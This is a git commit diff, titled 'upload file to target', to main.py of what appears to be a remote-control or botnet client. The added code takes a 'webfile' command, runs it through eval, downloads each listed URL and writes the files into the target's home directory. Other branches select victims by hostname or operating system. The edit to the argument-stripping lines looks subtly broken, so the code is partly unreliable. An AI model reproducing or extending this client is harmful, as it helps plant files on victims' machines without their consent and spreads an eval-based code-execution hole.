diff options
| author | mrdog233o5 <mr.dog233o5@gmail.com> | 2023-09-01 10:24:42 +0800 |
|---|---|---|
| committer | mrdog233o5 <mr.dog233o5@gmail.com> | 2023-09-01 10:24:42 +0800 |
| commit | 9e2a6dda35b26560a34dd93781162bfd67515461 (patch) | |
| tree | 1fe82482bfedd0ff54a410a95a3fc7aa80e529a9 /main.py | |
| parent | ad81e6f3c23075b2c7e562a0bd284814c1045d90 (diff) | |
upload file to target
Diffstat (limited to 'main.py')
| -rw-r--r-- | main.py | 13 |
1 files changed, 9 insertions, 4 deletions
@@ -62,8 +62,13 @@ while True: if command.startswith("webfile "): localcmd = command.split(maxsplit=1) files = eval(localcmd[1]) - #for fileUrl in files: - # print(fileUrl) + for fileUrl in files: + fileData = get(fileUrl).content + fileName = os.path.basename(fileUrl) + filePath = os.path.expanduser("~") + with open(f"{filePath}/{fileName}", 'wb') as f: + f.write(fileData) + f.close() old_command = commandId #filename = os.path.basename(localcmd[1]) #print(filename) @@ -71,7 +76,7 @@ while True: if command.startswith("exename "): localcmd = command.split() if localcmd[1] == hostname: - del localcmd[:2] + del localcmd[2] localcmd = ' '.join(localcmd) else: old_command = commandId @@ -79,7 +84,7 @@ while True: if command.startswith("exeos "): localcmd = command.split() if localcmd[1] == platform: - del localcmd[:2] + del localcmd[2] localcmd = ' '.join(localcmd) else: old_command = commandId |
